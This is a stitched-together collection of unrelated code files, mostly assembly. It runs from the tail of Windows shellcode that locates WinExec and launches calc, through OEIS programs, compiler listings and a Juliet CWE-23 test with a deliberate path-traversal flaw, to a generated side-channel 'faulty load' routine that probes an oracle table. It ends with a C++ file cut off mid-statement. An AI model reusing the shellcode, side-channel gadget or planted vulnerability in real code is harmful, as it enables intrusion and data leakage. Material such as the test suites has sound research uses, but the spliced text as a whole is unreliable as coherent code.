RSI, RDI ; RSI = kernel32 + offset(address table) = &(address table) MOV ESI, [RSI + RBP * 4] ; RSI = &(address table)[WinExec ordinal] = offset(WinExec) ADD RDI, RSI ; RDI = kernel32 + offset(WinExec) = WinExec ; Found WinExec (RDI) CDQ ; RDX = 0 (assuming EAX < 0x80000000, which should always be true) CALL RDI ; WinExec(&("calc"), 0); %ifdef FUNC %ifdef CLEAN %ifdef STACK_ALIGN ADD RSP, 0x68 ; reset stack to where it was after pushing registers %else ADD RSP, 0x70 ; reset stack to where it was after pushing registers %endif %else ADD RSP, 0x68 ; reset stack to where it was after pushing registers %endif %ifndef PLATFORM_INDEPENDENT %ifdef STACK_ALIGN POP RSP %endif %endif POP RBP ; POP registers POP RDI POP RSI POP RBX %ifndef PLATFORM_INDEPENDENT %ifdef CLEAN POP RDX ; POP additional registers POP RCX POP RAX %endif ; RET ; Return %else %ifdef CLEAN POP RCX ; POP additional registers POP RDX %endif %ifdef STACK_ALIGN POP RSP %endif %ifdef CLEAN POP RAX %endif ; RET ; Return %endif %endif
/// @ref gtx_integer /// @file gtx/integer.hpp /// /// @see core (dependence) /// /// @defgroup gtx_integer GLM_GTX_integer /// @ingroup gtx /// /// Include <gtx/integer.hpp> to use the features of this extension. /// /// Add support for integer for core functions #pragma once // Dependency: #include "../glm.hpp" #include "../gtc/integer.hpp" #if GLM_MESSAGES == GLM_ENABLE && !defined(GLM_EXT_INCLUDED) # ifndef GLM_ENABLE_EXPERIMENTAL # pragma message("GLM: GLM_GTX_integer is an experimental extension and may change in the future. Use #define GLM_ENABLE_EXPERIMENTAL before including it, if you really want to use it.") # elif # pragma message("GLM: GLM_GTX_integer extension included") # endif #endif namespace glm { /// @addtogroup gtx_integer /// @{ //! Returns x raised to the y power. //! From GLM_GTX_integer extension. GLM_FUNC_DECL int pow(int x, uint y); //! Returns the positive square root of x. //! From GLM_GTX_integer extension. GLM_FUNC_DECL int sqrt(int x); //! Returns the floor log2 of x. //! From GLM_GTX_integer extension. GLM_FUNC_DECL unsigned int floor_log2(unsigned int x); //! Modulus. Returns x - y * floor(x / y) for each component in x using the floating point value y. //! From GLM_GTX_integer extension. GLM_FUNC_DECL int mod(int x, int y); //! Return the factorial value of a number (!12 max, integer only) //! From GLM_GTX_integer extension. template<typename genType> GLM_FUNC_DECL genType factorial(genType const& x); //! 32bit signed integer. //! From GLM_GTX_integer extension. typedef signed int sint; //! Returns x raised to the y power. //! From GLM_GTX_integer extension. GLM_FUNC_DECL uint pow(uint x, uint y); //! Returns the positive square root of x. //! From GLM_GTX_integer extension. GLM_FUNC_DECL uint sqrt(uint x); //! Modulus. Returns x - y * floor(x / y) for each component in x using the floating point value y. //! From GLM_GTX_integer extension. GLM_FUNC_DECL uint mod(uint x, uint y); //! Returns the number of leading zeros. //! From GLM_GTX_integer extension. GLM_FUNC_DECL uint nlz(uint x); /// @} }//namespace glm #include "integer.inl"
; A072229: Witt index of the standard bilinear form <1,1,1,...,1> over the 2-adic rationals. ; 0,0,0,0,1,2,3,4,4,4,4,5,6,7,8,8,8,8,9,10,11,12,12,12,12,13,14,15,16,16,16,16,17,18,19,20,20,20,20,21,22,23,24,24,24,24,25,26,27,28,28,28,28,29,30,31,32,32,32,32,33,34,35,36,36,36,36,37,38,39,40,40,40,40,41,42,43,44,44,44,44,45,46,47,48,48,48,48,49,50,51,52,52,52,52,53,54,55,56,56 lpb $0 trn $1,$0 trn $0,3 add $1,$0 trn $0,4 lpe mov $0,$1
; size_t dtoa(double x, char *buf, uint16_t prec, uint16_t flag) __z88dk_callee SECTION code_clib SECTION code_stdlib PUBLIC _dtoa_callee, l0_dtoa_callee EXTERN dcallee1, asm_dtoa _dtoa_callee: call dcallee1 ; AC' = x pop af pop hl pop de pop bc push af l0_dtoa_callee: push ix call asm_dtoa pop ix ret
; A091691: (10^(n-1)-1) * (n-10) / 9. ; Submitted by Christian Krause ; 1,0,-8,-77,-666,-5555,-44444,-333333,-2222222,-11111111,0,1111111111,22222222222,333333333333,4444444444444,55555555555555,666666666666666,7777777777777777,88888888888888888,999999999999999999,11111111111111111110,122222222222222222221 mov $1,$0 sub $0,10 mov $2,10 pow $2,$1 sub $2,10 mul $0,$2 mul $0,9 div $0,810
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0 TITLE C:\Users\libit\source\repos\L018\L018\L018.cpp .686P .XMM include listing.inc .model flat INCLUDELIB LIBCMT INCLUDELIB OLDNAMES CONST SEGMENT $SG5554 DB '0000000000000000', 0aH, 00H ORG $+2 $SG5556 DB '1111111111111111', 0aH, 00H ORG $+2 $SG5557 DB '2222222222222222', 0aH, 00H CONST ENDS PUBLIC ___local_stdio_printf_options PUBLIC __vfprintf_l PUBLIC _printf PUBLIC _main PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage EXTRN ___acrt_iob_func:PROC EXTRN ___stdio_common_vfprintf:PROC ; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA _BSS SEGMENT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage _BSS ENDS ; Function compile flags: /Odtp _TEXT SEGMENT _main PROC ; File C:\Users\libit\source\repos\L018\L018\L018.cpp ; Line 7 push ebp mov ebp, esp ; Line 8 push OFFSET $SG5554 call _printf add esp, 4 ; Line 9 jmp SHORT $exit$4 jmp SHORT $exit$4 ; Line 10 push OFFSET $SG5556 call _printf add esp, 4 $exit$4: ; Line 12 push OFFSET $SG5557 call _printf add esp, 4 ; Line 13 xor eax, eax pop ebp ret 0 _main ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT _printf _TEXT SEGMENT __Result$ = -8 ; size = 4 __ArgList$ = -4 ; size = 4 __Format$ = 8 ; size = 4 _printf PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h ; Line 954 push ebp mov ebp, esp sub esp, 8 ; Line 957 lea eax, DWORD PTR __Format$[ebp+4] mov DWORD PTR __ArgList$[ebp], eax ; Line 958 mov ecx, DWORD PTR __ArgList$[ebp] push ecx push 0 mov edx, DWORD PTR __Format$[ebp] push edx push 1 call ___acrt_iob_func add esp, 4 push eax call __vfprintf_l add esp, 16 ; 00000010H mov DWORD PTR __Result$[ebp], eax ; Line 959 mov DWORD PTR __ArgList$[ebp], 0 ; Line 960 mov eax, DWORD PTR __Result$[ebp] ; Line 961 mov esp, ebp pop ebp ret 0 _printf ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT __vfprintf_l _TEXT SEGMENT __Stream$ = 8 ; size = 4 __Format$ = 12 ; size = 4 __Locale$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 __vfprintf_l PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h ; Line 642 push ebp mov ebp, esp ; Line 643 mov eax, DWORD PTR __ArgList$[ebp] push eax mov ecx, DWORD PTR __Locale$[ebp] push ecx mov edx, DWORD PTR __Format$[ebp] push edx mov eax, DWORD PTR __Stream$[ebp] push eax call ___local_stdio_printf_options mov ecx, DWORD PTR [eax+4] push ecx mov edx, DWORD PTR [eax] push edx call ___stdio_common_vfprintf add esp, 24 ; 00000018H ; Line 644 pop ebp ret 0 __vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtp ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT ; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h ; Line 86 push ebp mov ebp, esp ; Line 88 mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; Line 89 pop ebp ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
; @@@ _TEXT segment public setjmp align 16 setjmp proc ; int setjmp(jmp_buf); ; jmp_buf に rbx, rbp, r12, r14, r15 レジスタを保存 mov qword ptr [rcx], rbx mov qword ptr [rcx + 8 * 1], rsi mov qword ptr [rcx + 8 * 2], rdi mov qword ptr [rcx + 8 * 3], rbp mov qword ptr [rcx + 8 * 4], r12 mov qword ptr [rcx + 8 * 5], r13 mov qword ptr [rcx + 8 * 6], r14 mov qword ptr [rcx + 8 * 7], r15 ; jmp_buf に rsp レジスタを保存(return address 除外) lea rdx, [rsp + 8] mov qword ptr [rcx + 8 * 8], rdx ; jmp_buf に return address の保存 mov rdx, [rsp] mov qword ptr [rcx + 8 * 9], rdx ; return 0; xor rax, rax ret setjmp endp _TEXT ends end ; @@@
;--- helix display interface library --- SPACE = 32 #bank ".data" _ready: #d8 1 #bank ".instr" init_display: ldi $a 1 je0 .ret ldi $a 0 .ret: st $a _ready ret print_char: jal _display_ready exw 0 2 ret print_int: jal _display_ready exw 0 1 ret clear_display: jal _display_ready exw 0 3 ret _display_ready: push $a ld $a _ready add $a $a jz .ret jal _active_wait .ret: pop $a ret _active_wait: nop je0 .ret nop j _active_wait .ret: exr 0 ret
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE23_Relative_Path_Traversal__char_file_open_44.cpp Label Definition File: CWE23_Relative_Path_Traversal.label.xml Template File: sources-sink-44.tmpl.cpp */ /* * @description * CWE: 23 Relative Path Traversal * BadSource: file Read input from a file * GoodSource: Use a fixed file name * Sinks: open * BadSink : Open the file named in data using open() * Flow Variant: 44 Data/control flow: data passed as an argument from one function to a function in the same source file called via a function pointer * * */ #include "std_testcase.h" #ifdef _WIN32 #define BASEPATH "c:\\temp\\" #else #include <wchar.h> #define BASEPATH "/tmp/" #endif #ifdef _WIN32 #define FILENAME "C:\\temp\\file.txt" #else #define FILENAME "/tmp/file.txt" #endif #ifdef _WIN32 #define OPEN _open #define CLOSE _close #else #include <unistd.h> #define OPEN open #define CLOSE close #endif namespace CWE23_Relative_Path_Traversal__char_file_open_44 { #ifndef OMITBAD static void badSink(char * data) { { int fileDesc; /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */ fileDesc = OPEN(data, O_RDWR|O_CREAT, S_IREAD|S_IWRITE); if (fileDesc != -1) { CLOSE(fileDesc); } } } void bad() { char * data; /* define a function pointer */ void (*funcPtr) (char *) = badSink; char dataBuffer[FILENAME_MAX] = BASEPATH; data = dataBuffer; { /* Read input from a file */ size_t dataLen = strlen(data); FILE * pFile; /* if there is room in data, attempt to read the input from a file */ if (FILENAME_MAX-dataLen > 1) { pFile = fopen(FILENAME, "r"); if (pFile != NULL) { /* POTENTIAL FLAW: Read data from a file */ if (fgets(data+dataLen, (int)(FILENAME_MAX-dataLen), pFile) == NULL) { printLine("fgets() failed"); /* Restore NUL terminator if fgets fails */ data[dataLen] = '\0'; } fclose(pFile); } } } /* use the function pointer */ funcPtr(data); } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B() uses the GoodSource with the BadSink */ static void goodG2BSink(char * data) { { int fileDesc; /* POTENTIAL FLAW: Possibly opening a file without validating the file name or path */ fileDesc = OPEN(data, O_RDWR|O_CREAT, S_IREAD|S_IWRITE); if (fileDesc != -1) { CLOSE(fileDesc); } } } static void goodG2B() { char * data; void (*funcPtr) (char *) = goodG2BSink; char dataBuffer[FILENAME_MAX] = BASEPATH; data = dataBuffer; /* FIX: Use a fixed file name */ strcat(data, "file.txt"); funcPtr(data); } void good() { goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE23_Relative_Path_Traversal__char_file_open_44; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosPeekQueue DOS wrapper ; ; (c) osFree Project 2022, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; ; ;*/ .8086 ; Helpers INCLUDE HELPERS.INC _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @PROLOG DOSPEEKQUEUE @START DOSPEEKQUEUE XOR AX, AX EXIT: @EPILOG DOSPEEKQUEUE _TEXT ENDS END
;----------------------------------------------------------------------------- ; Copyright (c) 2013 GarageGames, LLC ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to ; deal in the Software without restriction, including without limitation the ; rights to use, copy, modify, merge, publish, distribute, sublicense, and/or ; sell copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS ; IN THE SOFTWARE. ;----------------------------------------------------------------------------- segment .text ; syntax: export_fn <function name> %macro export_fn 1 %ifdef LINUX ; No underscore needed for ELF object files global %1 %1: %else global _%1 _%1: %endif %endmacro ; push registers %macro pushreg 0 ; pushad push ebx push ebp push esi push edi %endmacro ; pop registers %macro popreg 0 pop edi pop esi pop ebp pop ebx ; popad %endmacro ; void detectX86CPUInfo(char *vendor, U32 *processor, U32 *properties); export_fn detectX86CPUInfo push ebp mov ebp, esp pushreg push edx push ecx pushfd pushfd ; save EFLAGS to stack pop eax ; move EFLAGS into EAX mov ebx, eax xor eax, 0x200000 ; flip bit 21 push eax popfd ; restore EFLAGS pushfd pop eax cmp eax, ebx jz EXIT ; doesn't support CPUID instruction ; ; get vendor information using CPUID eax == 0 xor eax, eax cpuid ; store the vendor tag (12 bytes in ebx, edx, ecx) in the first parameter, ; which should be a char[13] push eax ; save eax mov eax, [ebp+8] ; store the char* address in eax mov [eax], ebx ; move ebx into the first 4 bytes add eax, 4 ; advance the char* 4 bytes mov [eax], edx ; move edx into the next 4 bytes add eax, 4 ; advance the char* 4 bytes mov [eax], ecx ; move ecx into the last 4 bytes pop eax ; restore eax ; get generic extended CPUID info mov eax, 1 cpuid ; eax=1, so cpuid queries feature information and eax, 0x0FF0 push ecx mov ecx, [ebp+12] mov [ecx], eax ; just store the model bits in processor param mov ecx, [ebp+16] mov [ecx], edx ; set properties param pop ecx ; want to check for 3DNow(tm). ; need to see if extended cpuid functions present. mov eax, 0x80000000 cpuid cmp eax, 0x80000000 jbe MAYBE_3DLATER mov eax, 0x80000001 cpuid ; 3DNow if bit 31 set -> put bit in our properties and edx, 0x80000000 push eax mov eax, [ebp+16] or [eax], edx pop eax MAYBE_3DLATER: EXIT: popfd pop ecx pop edx popreg pop ebp ret
default rel section .rodata black: db "black", 0 brown: db "brown", 0 red: db "red", 0 orange: db "orange", 0 yellow: db "yellow", 0 green: db "green", 0 blue: db "blue", 0 violet: db "violet", 0 grey: db "grey", 0 white: db "white", 0 color_array: dq black dq brown dq red dq orange dq yellow dq green dq blue dq violet dq grey dq white dq 0 ; Sentinel value to indicate end of array ; ; Convert a resistor band's color to its numeric representation. ; ; Parameters: ; rdi - color ; Returns: ; rax - the resistor band's numeric representation or -1 if not found ; section .text global color_code color_code: xor eax, eax ; Initialize array index lea rcx, [color_array] ; Load color array mov rdx, [rcx + rax * 8] ; Read color from array .arr_loop_start: mov rsi, rdi ; Save input color mov r8b, byte [rdx] ; Read char from color cmp r8b, byte [rsi] ; Compare with char from input color jne .str_loop_end ; If not equal, skip loop .str_loop_start: inc rdx ; Advance color to next char inc rsi ; Advance input color to next char mov r8b, byte [rdx] ; Read char from color cmp r8b, byte [rsi] ; Compare with char from input color jne .str_loop_end ; If not equal, exit loop test r8b, r8b ; See if we reached end of color jne .str_loop_start ; If chars remain, loop back .str_loop_end: cmp r8b, byte [rsi] ; Check if we found a match je .return ; If we found a match, return the array index inc eax ; Increment array index mov rdx, [rcx + rax * 8] ; Read color from array test rdx, rdx ; See if we reached end of array jne .arr_loop_start ; If colors remain, loop back mov eax, -1 ; Return -1 .return: ret ; ; Get a list of resistor band colors. ; ; Returns: ; rax - a list of colors ; global colors colors: lea rax, [color_array] ; Return the list of colors ret
; A133602: The matrix-vector product A133080 * A000108. ; Submitted by Jamie Morken(w1) ; 1,2,2,7,14,56,132,561,1430,6292,16796,75582,208012,950912,2674440,12369285,35357670,165002460,477638700,2244901890,6564120420,31030387440,91482563640,434542177290,1289904147324,6151850548776 mov $3,$0 mod $0,2 mov $2,$0 add $2,1 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 mov $1,$0 add $1,$0 bin $1,$0 add $0,1 div $1,$0 mul $1,4 add $4,$1 lpe mov $0,$4 div $0,4
.global s_prepare_buffers s_prepare_buffers: push %r10 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x12aaa, %rsi lea addresses_A_ht+0xfd2a, %rdi clflush (%rsi) clflush (%rdi) nop nop nop cmp $58032, %r10 mov $18, %rcx rep movsq nop nop nop cmp %rax, %rax lea addresses_WC_ht+0x1ab0e, %rbx nop xor $14605, %rdx movb $0x61, (%rbx) nop inc %rax lea addresses_WC_ht+0x11a32, %rcx xor $25219, %r10 mov $0x6162636465666768, %rax movq %rax, %xmm2 and $0xffffffffffffffc0, %rcx vmovaps %ymm2, (%rcx) nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x361e, %rsi lea addresses_A_ht+0xe744, %rdi add $54387, %rbx mov $9, %rcx rep movsq and $8501, %rbx lea addresses_WC_ht+0xd92a, %rdi nop cmp %r10, %r10 mov $0x6162636465666768, %rax movq %rax, %xmm1 movups %xmm1, (%rdi) nop xor $34270, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %rax push %rbp push %rdi push %rdx push %rsi // Load lea addresses_PSE+0xe72a, %rsi nop nop nop xor $22289, %rax mov (%rsi), %di nop nop nop nop mfence // Load lea addresses_WC+0xe61e, %r15 nop nop xor $46793, %rbp mov (%r15), %r14d nop cmp $27916, %r15 // Store lea addresses_A+0xd92a, %rdx clflush (%rdx) add %rdi, %rdi movb $0x51, (%rdx) nop nop add $20733, %rbp // Faulty Load lea addresses_A+0xd92a, %rsi nop nop nop and %rax, %rax mov (%rsi), %bp lea oracles, %rax and $0xff, %rbp shlq $12, %rbp mov (%rax,%rbp,1), %rbp pop %rsi pop %rdx pop %rdi pop %rbp pop %rax pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': True, 'AVXalign': True, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
;Copyright (c) 2013, Daniel Lopez All rights reserved. ;Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: ;Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [ORG 0x9999] ; All programs get loaded at 0x9999 _start: ; ver.com's entry point label name can be anything really mov ax, ver_str mov bh, 0 mov bl, 0xf int 21h ; print ret ; Return back to control ver_str: db 'MonsterOS Version 1.1', 0
/* * GUIView.cpp * * Copyright (C) 2018 by Universitaet Stuttgart (VIS). * Alle Rechte vorbehalten. */ #include "stdafx.h" #include "GUIView.h" using namespace megamol; using namespace megamol::gui; GUIView::GUIView() : core::view::AbstractView() , overrideCall(nullptr) , render_view_slot("renderview", "Connects to a preceding RenderView that will be decorated with a GUI") , gui() { this->render_view_slot.SetCompatibleCall<core::view::CallRenderViewDescription>(); this->MakeSlotAvailable(&this->render_view_slot); for (auto& slot : this->gui.GetParams()) { this->MakeSlotAvailable(slot); } } GUIView::~GUIView() { this->Release(); } bool GUIView::create() { return gui.CreateContext_GL(this->GetCoreInstance()); } void GUIView::release() {} void GUIView::unpackMouseCoordinates(float& x, float& y) { GLint vpw = 1; GLint vph = 1; if (this->overrideCall == nullptr) { GLint vp[4]; ::glGetIntegerv(GL_VIEWPORT, vp); vpw = vp[2]; vph = vp[3]; } else { vpw = this->overrideCall->ViewportWidth(); vph = this->overrideCall->ViewportHeight(); } x *= static_cast<float>(vpw); y *= static_cast<float>(vph); } float GUIView::DefaultTime(double instTime) const { // This view does not do any time control return 0.0f; } unsigned int GUIView::GetCameraSyncNumber(void) const { megamol::core::utility::log::Log::DefaultLog.WriteWarn( "Unsupported. [%s, %s, line %d]\n", __FILE__, __FUNCTION__, __LINE__); return 0u; } void GUIView::SerialiseCamera(vislib::Serialiser& serialiser) const { megamol::core::utility::log::Log::DefaultLog.WriteWarn( "Unsupported. [%s, %s, line %d]\n", __FILE__, __FUNCTION__, __LINE__); } void GUIView::DeserialiseCamera(vislib::Serialiser& serialiser) { megamol::core::utility::log::Log::DefaultLog.WriteWarn( "Unsupported. [%s, %s, line %d]\n", __FILE__, __FUNCTION__, __LINE__); } void GUIView::Render(const mmcRenderViewContext& context) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (this->doHookCode()) { this->doBeforeRenderHook(); } if (crv) { crv->SetOutputBuffer(GL_BACK); crv->SetInstanceTime(context.InstanceTime); crv->SetTime( -1.0f); // Should be negative to trigger animation! (see View3D.cpp line ~660 | View2D.cpp line ~350) auto viewport = crv->GetViewport(); this->gui.PreDraw(glm::vec2(static_cast<float>(viewport.Width()), static_cast<float>(viewport.Height())), crv->InstanceTime()); (*crv)(core::view::AbstractCallRender::FnRender); this->gui.PostDraw(); } else { glClearColor(0.0f, 0.0f, 0.0f, 0.0f); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); if (this->overrideCall != nullptr) { auto viewport = this->overrideCall->GetViewport(); this->gui.PreDraw(glm::vec2(static_cast<float>(viewport.Width()), static_cast<float>(viewport.Height())), context.InstanceTime); this->gui.PostDraw(); } else { GLint vp[4]; glGetIntegerv(GL_VIEWPORT, vp); this->gui.PreDraw(glm::vec2(static_cast<float>(vp[2]), static_cast<float>(vp[3])), context.InstanceTime); this->gui.PostDraw(); } } if (this->doHookCode()) { this->doAfterRenderHook(); } } void GUIView::ResetView(void) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv) { (*crv)(core::view::CallRenderView::CALL_RESETVIEW); } } void GUIView::Resize(unsigned int width, unsigned int height) { auto* crv = this->render_view_slot.CallAs<core::view::CallRenderView>(); if (crv) { // der ganz ganz dicke "because-i-know"-Knueppel AbstractView* view = const_cast<AbstractView*>( 